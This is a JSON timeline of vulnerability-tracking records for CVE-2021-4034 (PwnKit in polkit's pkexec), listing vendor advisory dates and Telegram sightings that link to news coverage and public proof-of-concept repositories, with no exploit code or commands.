{"metadata": {"vulnerability": "cve-2021-4034", "count": 565, "kinds": {"milestone": 47, "sighting": 283, "kev": 11, "other": 224}}, "data": [{"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-09T00:00:00Z", "date_only": false, "value": "2021-11-09T00:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0265", "record": "RHSA-2022:0265", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0266", "record": "RHSA-2022:0266", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0268", "record": "RHSA-2022:0268", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0269", "record": "RHSA-2022:0269", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0270", "record": "RHSA-2022:0270", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0271", "record": "RHSA-2022:0271", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0272", "record": "RHSA-2022:0272", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0273", "record": "RHSA-2022:0273", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "vulnerabilities.1.discovery_date"}, {"timestamp": "2021-11-18T00:00:00Z", "date_only": false, "value": "2021-11-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.0.discovery_date"}, {"timestamp": "2021-11-29T00:00:00Z", "date_only": false, "value": "2021-11-29T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2021-4034", "field": "cveMetadata.dateReserved"}, {"timestamp": "2021-12-18T00:00:00Z", "date_only": false, "value": "2021-12-18T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.1.discovery_date"}, {"timestamp": "2022-01-02T00:00:00Z", "date_only": false, "value": "2022-01-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2021-4034", "record": "MSRC_CVE-2021-4034", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-10T06:36:00Z", "date_only": false, "value": "2022-01-10T06:36:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.1.release_date"}, {"timestamp": "2022-01-13T00:00:00Z", "date_only": false, "value": "2022-01-13T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.3.discovery_date"}, {"timestamp": "2022-01-16T00:00:00Z", "date_only": false, "value": "2022-01-16T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.2.discovery_date"}, {"timestamp": "2022-01-18T18:41:00Z", "date_only": false, "value": "2022-01-18T18:41:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.3.release_date"}, {"timestamp": "2022-01-20T14:00:00Z", "date_only": false, "value": "2022-01-20T14:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.2.release_date"}, {"timestamp": "2022-01-25T00:00:00Z", "date_only": false, "value": "2022-01-25T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 RHSA-2022:0267", "record": "RHSA-2022:0267", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T00:00:00Z", "date_only": false, "value": "2022-01-25T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 RHSA-2022:0274", "record": "RHSA-2022:0274", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T00:00:00Z", "date_only": false, "value": "2022-01-25T00:00:00Z", "kind": "other", "label": "Date", "source": "csaf_opensuse \u00b7 RHSA-2022:0267", "record": "RHSA-2022:0267", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-01-25T00:00:00Z", "date_only": false, "value": "2022-01-25T00:00:00Z", "kind": "other", "label": "Date", "source": "csaf_opensuse \u00b7 RHSA-2022:0274", "record": "RHSA-2022:0274", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-01-25T00:00:00Z", "date_only": false, "value": "2022-01-25T00:00:00Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 RHSA-2022:0267", "record": "RHSA-2022:0267", "field": "document.tracking.generator.date"}, {"timestamp": "2022-01-25T00:00:00Z", "date_only": false, "value": "2022-01-25T00:00:00Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 RHSA-2022:0274", "record": "RHSA-2022:0274", "field": "document.tracking.generator.date"}, {"timestamp": "2022-01-25T00:00:00Z", "date_only": false, "value": "2022-01-25T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 RHSA-2022:0267", "record": "RHSA-2022:0267", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T00:00:00Z", "date_only": false, "value": "2022-01-25T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 RHSA-2022:0274", "record": "RHSA-2022:0274", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2021-4034", "record": "UBUNTU-CVE-2021-4034", "field": "published"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0265", "record": "RHSA-2022:0265", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0266", "record": "RHSA-2022:0266", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0268", "record": "RHSA-2022:0268", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0269", "record": "RHSA-2022:0269", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0270", "record": "RHSA-2022:0270", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0271", "record": "RHSA-2022:0271", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0272", "record": "RHSA-2022:0272", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0273", "record": "RHSA-2022:0273", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0443", "record": "RHSA-2022:0443", "field": "vulnerabilities.1.release_date"}, {"timestamp": "2022-01-25T17:00:00Z", "date_only": false, "value": "2022-01-25T17:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-25T17:38:41Z", "date_only": false, "value": "2022-01-25T17:38:41Z", "kind": "milestone", "label": "Published", "source": "osv_almalinux \u00b7 ALSA-2022:0267", "record": "ALSA-2022:0267", "field": "published"}, {"timestamp": "2022-01-25T17:38:41Z", "date_only": false, "value": "2022-01-25T17:38:41Z", "kind": "other", "label": "Updated", "source": "osv_almalinux \u00b7 ALSA-2022:0267", "record": "ALSA-2022:0267", "field": "modified"}, {"timestamp": "2022-01-25T18:04:10Z", "date_only": false, "value": "2022-01-25T18:04:10+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0265", "record": "RHSA-2022:0265", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:04:10Z", "date_only": false, "value": "2022-01-25T18:04:10+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0265", "record": "RHSA-2022:0265", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-01-25T18:04:10Z", "date_only": false, "value": "2022-01-25T18:04:10+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0265", "record": "RHSA-2022:0265", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:04:56Z", "date_only": false, "value": "2022-01-25T18:04:56+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0268", "record": "RHSA-2022:0268", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:04:56Z", "date_only": false, "value": "2022-01-25T18:04:56+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0268", "record": "RHSA-2022:0268", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-01-25T18:04:56Z", "date_only": false, "value": "2022-01-25T18:04:56+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0268", "record": "RHSA-2022:0268", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:09:21Z", "date_only": false, "value": "2022-01-25T18:09:21Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:0189-1", "record": "SUSE-SU-2022:0189-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:09:21Z", "date_only": false, "value": "2022-01-25T18:09:21Z", "kind": "other", "label": "Date", "source": "csaf_suse \u00b7 SUSE-SU-2022:0189-1", "record": "SUSE-SU-2022:0189-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-01-25T18:09:21Z", "date_only": false, "value": "2022-01-25T18:09:21Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2022:0189-1", "record": "SUSE-SU-2022:0189-1", "field": "document.tracking.generator.date"}, {"timestamp": "2022-01-25T18:09:21Z", "date_only": false, "value": "2022-01-25T18:09:21Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2022:0189-1", "record": "SUSE-SU-2022:0189-1", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:10:19Z", "date_only": false, "value": "2022-01-25T18:10:19Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2022:0190-1", "record": "OPENSUSE-SU-2022:0190-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:10:19Z", "date_only": false, "value": "2022-01-25T18:10:19Z", "kind": "other", "label": "Date", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2022:0190-1", "record": "OPENSUSE-SU-2022:0190-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-01-25T18:10:19Z", "date_only": false, "value": "2022-01-25T18:10:19Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2022:0190-1", "record": "OPENSUSE-SU-2022:0190-1", "field": "document.tracking.generator.date"}, {"timestamp": "2022-01-25T18:10:19Z", "date_only": false, "value": "2022-01-25T18:10:19Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2022:0190-1", "record": "OPENSUSE-SU-2022:0190-1", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:10:47Z", "date_only": false, "value": "2022-01-25T18:10:47Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:0190-1", "record": "SUSE-SU-2022:0190-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:10:47Z", "date_only": false, "value": "2022-01-25T18:10:47Z", "kind": "other", "label": "Date", "source": "csaf_suse \u00b7 SUSE-SU-2022:0190-1", "record": "SUSE-SU-2022:0190-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-01-25T18:10:47Z", "date_only": false, "value": "2022-01-25T18:10:47Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2022:0190-1", "record": "SUSE-SU-2022:0190-1", "field": "document.tracking.generator.date"}, {"timestamp": "2022-01-25T18:10:47Z", "date_only": false, "value": "2022-01-25T18:10:47Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2022:0190-1", "record": "SUSE-SU-2022:0190-1", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:11:23Z", "date_only": false, "value": "2022-01-25T18:11:23Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2022:0191-1", "record": "SUSE-SU-2022:0191-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:11:23Z", "date_only": false, "value": "2022-01-25T18:11:23Z", "kind": "other", "label": "Date", "source": "csaf_suse \u00b7 SUSE-SU-2022:0191-1", "record": "SUSE-SU-2022:0191-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2022-01-25T18:11:23Z", "date_only": false, "value": "2022-01-25T18:11:23Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2022:0191-1", "record": "SUSE-SU-2022:0191-1", "field": "document.tracking.generator.date"}, {"timestamp": "2022-01-25T18:11:23Z", "date_only": false, "value": "2022-01-25T18:11:23Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2022:0191-1", "record": "SUSE-SU-2022:0191-1", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:15:24Z", "date_only": false, "value": "2022-01-25T18:15:24+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0266", "record": "RHSA-2022:0266", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:15:24Z", "date_only": false, "value": "2022-01-25T18:15:24+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0266", "record": "RHSA-2022:0266", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-01-25T18:15:24Z", "date_only": false, "value": "2022-01-25T18:15:24+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0266", "record": "RHSA-2022:0266", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:21:13Z", "date_only": false, "value": "2022-01-25T18:21:13+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0270", "record": "RHSA-2022:0270", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:21:13Z", "date_only": false, "value": "2022-01-25T18:21:13+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0270", "record": "RHSA-2022:0270", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-01-25T18:21:13Z", "date_only": false, "value": "2022-01-25T18:21:13+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0270", "record": "RHSA-2022:0270", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:21:43Z", "date_only": false, "value": "2022-01-25T18:21:43+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0269", "record": "RHSA-2022:0269", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:21:43Z", "date_only": false, "value": "2022-01-25T18:21:43+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0269", "record": "RHSA-2022:0269", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-01-25T18:21:43Z", "date_only": false, "value": "2022-01-25T18:21:43+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0269", "record": "RHSA-2022:0269", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:30:35Z", "date_only": false, "value": "2022-01-25T18:30:35+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0272", "record": "RHSA-2022:0272", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:30:35Z", "date_only": false, "value": "2022-01-25T18:30:35+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0272", "record": "RHSA-2022:0272", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-01-25T18:30:35Z", "date_only": false, "value": "2022-01-25T18:30:35+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0272", "record": "RHSA-2022:0272", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T18:42:48Z", "date_only": false, "value": "2022-01-25T18:42:48.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/45794", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e3241da9-468c-4c7a-b247-0645e3d6e61e", "content": "PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit\u2019s pkexec (CVE-2021-4034)\n\nhttps://ift.tt/3IEN1xE", "url": "https://t.me/ctinow/45794"}, {"timestamp": "2022-01-25T18:44:19Z", "date_only": false, "value": "2022-01-25T18:44:19+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0271", "record": "RHSA-2022:0271", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T18:44:19Z", "date_only": false, "value": "2022-01-25T18:44:19+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0271", "record": "RHSA-2022:0271", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-01-25T18:44:19Z", "date_only": false, "value": "2022-01-25T18:44:19+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0271", "record": "RHSA-2022:0271", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T19:07:00Z", "date_only": false, "value": "2022-01-25T19:07:00+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2022:0273", "record": "RHSA-2022:0273", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T19:07:00Z", "date_only": false, "value": "2022-01-25T19:07:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0273", "record": "RHSA-2022:0273", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-01-25T19:07:00Z", "date_only": false, "value": "2022-01-25T19:07:00+00:00", "kind": "milestone", "label": "Published", "source": "csaf_redhat \u00b7 RHSA-2022:0273", "record": "RHSA-2022:0273", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T23:00:00Z", "date_only": false, "value": "2022-01-25T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-01-25T23:00:00Z", "date_only": false, "value": "2022-01-25T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-01-25T23:00:00Z", "date_only": false, "value": "2022-01-25T23:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2022-01-26T00:02:43Z", "date_only": false, "value": "2022-01-26T00:02:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1388", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "459ee4e8-f9a6-44fc-aa11-fd05880f97be", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034 1day\nURL\uff1ahttps://github.com/berdav/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1388"}, {"timestamp": "2022-01-26T01:07:09Z", "date_only": false, "value": "2022-01-26T01:07:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1389", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "ad0f2456-43da-4557-accb-39078af1f546", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit\u2019s pkexec (CVE-2021-4034)\nURL\uff1ahttps://github.com/arthepsy/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1389"}, {"timestamp": "2022-01-26T01:36:51Z", "date_only": false, "value": "2022-01-26T01:36:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1390", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3389cb94-c62a-4e50-92b4-8eb09f8217e5", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC for CVE-2021-4034 dubbed pwnkit\nURL\uff1ahttps://github.com/dzonerzy/poc-cve-2021-4034", "url": "https://t.me/GithubRedTeam/1390"}, {"timestamp": "2022-01-26T02:05:24Z", "date_only": false, "value": "2022-01-26T02:05:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Cw-8f6XBMRwXm0NZXZLZx8ENXhdsQ-cUeYAgFfuSQJbZZ-s_", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "9af3bcb7-cbc8-47c9-bf10-23bb705ac2b9"}, {"timestamp": "2022-01-26T02:07:12Z", "date_only": false, "value": "2022-01-26T02:07:12.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1391", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "0c36cdfa-aca6-492c-a98e-759be648b2ad", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC for CVE-2021-4034\nURL\uff1ahttps://github.com/nikaiw/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1391"}, {"timestamp": "2022-01-26T02:24:17Z", "date_only": false, "value": "2022-01-26T02:24:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1392", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "ce6fdae6-fba2-4500-8ab1-3213744d15fb", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034\nURL\uff1ahttps://github.com/signfind/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1392"}, {"timestamp": "2022-01-26T03:46:16Z", "date_only": false, "value": "2022-01-26T03:46:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1393", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3b746b9c-faf4-4610-a256-63476d04b8be", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aExploit for CVE-2021-4034\nURL\uff1ahttps://github.com/Ayrx/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1393"}, {"timestamp": "2022-01-26T03:59:15Z", "date_only": false, "value": "2022-01-26T03:59:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1394", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "fb0d2b91-ab2d-4a61-9306-adc7501ab5ce", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034: Local Privilege Escalation in polkit's pkexec proof of concept\nURL\uff1ahttps://github.com/mebeim/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1394"}, {"timestamp": "2022-01-26T05:16:47Z", "date_only": false, "value": "2022-01-26T05:16:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1395", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "dd663c4b-90ca-4d8c-beb2-5f90191f03b9", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA Golang implementation of clubby789's implementation of CVE-2021-4034\nURL\uff1ahttps://github.com/An00bRektn/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1395"}, {"timestamp": "2022-01-26T06:00:41Z", "date_only": false, "value": "2022-01-26T06:00:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/tech_b0lt_Genona/2990", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8f66c437-25a7-4842-84dc-f85a553461dc", "content": "Researchers from Qualys today published an advisory about a local privilege escalation vulnerability in the pkexec tool, that is installed as part of the Polkit (formerly PolicyKit) package.\n. . .\nNow, there are three scary things about this vulnerability:\n\n- It has been around for 12+ years (!!!) since it was introduced in a commit to pkexec in May 2009\n\n- The affected version of pkexec is installed with all popular Linux distributions: Ubuntu, Debian, Fedora and CentOS\n\n- It is very simple to create the exploit, and it works 100% reliable\n\n\nLocal privilege escalation vulnerability in polkit's pkexec (CVE-2021-4034)\nhttps://isc.sans.edu/diary/rss/28272\n\n\u041a\u043e\u043c\u043c\u0438\u0442 \u0441 \u043f\u0430\u0442\u0447\u0435\u043c\nhttps://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683", "url": "https://t.me/tech_b0lt_Genona/2990"}, {"timestamp": "2022-01-26T06:44:38Z", "date_only": false, "value": "2022-01-26T06:44:38.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/thehackernews/1826", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "061e8f98-98f6-4df7-8e73-8ced807dba34", "content": "A 12-year-old vulnerability 